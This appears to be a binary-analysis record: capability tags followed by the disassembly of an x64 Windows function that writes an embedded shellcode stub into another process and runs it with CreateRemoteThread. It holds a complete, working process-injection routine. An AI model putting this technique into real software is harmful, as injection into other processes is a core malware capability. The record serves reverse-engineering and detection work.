Function at 0x140005030
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x10]
sub rsp, 0x110
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rbp], rax
mov rbx, rcx
mov dword [rbp - 0x80], 0x8ec8348
mov rcx, qword [rcx]
xor edi, edi
mov dword [rbp - 0x7c], 0x55535657
mov r15, r8
mov dword [rbp - 0x78], 0x48cb8948
mov dword [rbp - 0x74], 0xc6c7
mov dword [rbp - 0x70], 0x8b480000
mov dword [rbp - 0x6c], 0xf739483b
mov dword [rbp - 0x68], 0x83483974
mov dword [rbp - 0x64], 0x67500fe
mov dword [rbp - 0x60], 0x84b8b48
mov dword [rbp - 0x5c], 0x834828eb
mov dword [rbp - 0x58], 0x67501fe
mov dword [rbp - 0x54], 0x10538b48
mov dword [rbp - 0x50], 0x83481ceb
mov dword [rbp - 0x4c], 0x67502fe
mov dword [rbp - 0x48], 0x18438b4c
mov dword [rbp - 0x44], 0x834810eb
mov dword [rbp - 0x40], 0x67503fe
mov dword [rbp - 0x3c], 0x204b8b4c
mov dword [rbp - 0x38], 0x74ff04eb
mov dword [rbp - 0x34], 0xff4808f3
mov dword [rbp - 0x30], 0x48c2ebc6
mov dword [rbp - 0x2c], 0x8348e589
mov dword [rbp - 0x28], 0xb84820ec
mov dword [rbp - 0x1c], 0x8948d0ff
mov dword [rbp - 0x18], 0x448948ec
mov dword [rbp - 0x14], 0x5b5d08fb
mov dword [rbp - 0x10], 0x83485f5e
mov word [rbp - 0xc], 0x8c4
mov byte [rbp - 0xa], 0xc3
mov qword [rbp - 0x24], rdx
test rcx, rcx
jne 0x140005136
mov r14d, edi
jmp 0x140005155
xor edx, edx
mov dword [rsp + 0x20], 0x20
mov r9d, 0x3000
mov r8d, 0x77
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
mov rcx, qword [rbx]
test rcx, rcx
je 0x1400051cf
lea rax, [rsp + 0x40]
mov dword [rsp + 0x40], edi
mov r9d, 4
mov qword [rsp + 0x20], rax
mov r8d, 0x77
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rcx, qword [rbx]
lea rax, [rsp + 0x48]
mov r9d, 0x77
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x80]
mov qword [rsp + 0x48], rdi
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [rbx]
test rcx, rcx
je 0x1400051cf
mov r9d, dword [rsp + 0x40]
lea rax, [rsp + 0x44]
mov r8d, 0x77
mov qword [rsp + 0x20], rax
mov rdx, r14
mov dword [rsp + 0x44], edi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rcx, qword [rbx]
test rcx, rcx
jne 0x1400051dc
mov rsi, rdi
jmp 0x1400051fb
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x18
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
mov rcx, qword [rbx]
test rcx, rcx
je 0x140005274
lea rax, [rsp + 0x40]
mov dword [rsp + 0x40], edi
mov r9d, 4
mov qword [rsp + 0x20], rax
mov r8d, 0x18
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rcx, qword [rbx]
lea rax, [rsp + 0x48]
mov r9d, 0x18
mov qword [rsp + 0x20], rax
mov r8, r15
mov qword [rsp + 0x48], rdi
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [rbx]
test rcx, rcx
je 0x140005274
mov r9d, dword [rsp + 0x40]
lea rax, [rsp + 0x44]
mov r8d, 0x18
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov dword [rsp + 0x44], edi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rcx, qword [rbx]
mov r9, r14
mov qword [rsp + 0x30], rdi
xor r8d, r8d
mov dword [rsp + 0x28], edi
xor edx, edx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov r15, rax
test rax, rax
jne 0x1400052cc
mov rcx, qword [rbx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rbx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x140005354
mov edx, 0xffffffff
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbx]
test rcx, rcx
je 0x14000531e
xorps xmm0, xmm0
mov qword [rsp + 0x50], 1
mov r9d, 0x18
mov qword [rsp + 0x20], rdi
lea r8, [rsp + 0x50]
mov rdx, rsi
movdqu xmmword [rsp + 0x58], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
movsd xmm1, qword [rsp + 0x60]
movsd qword [rsp + 0x78], xmm1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rbx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rbx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rdi
mov rcx, qword [rbp]
xor rcx, rsp
call fcn.1400054f0
mov rbx, qword [rsp + 0x158]
add rsp, 0x110
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret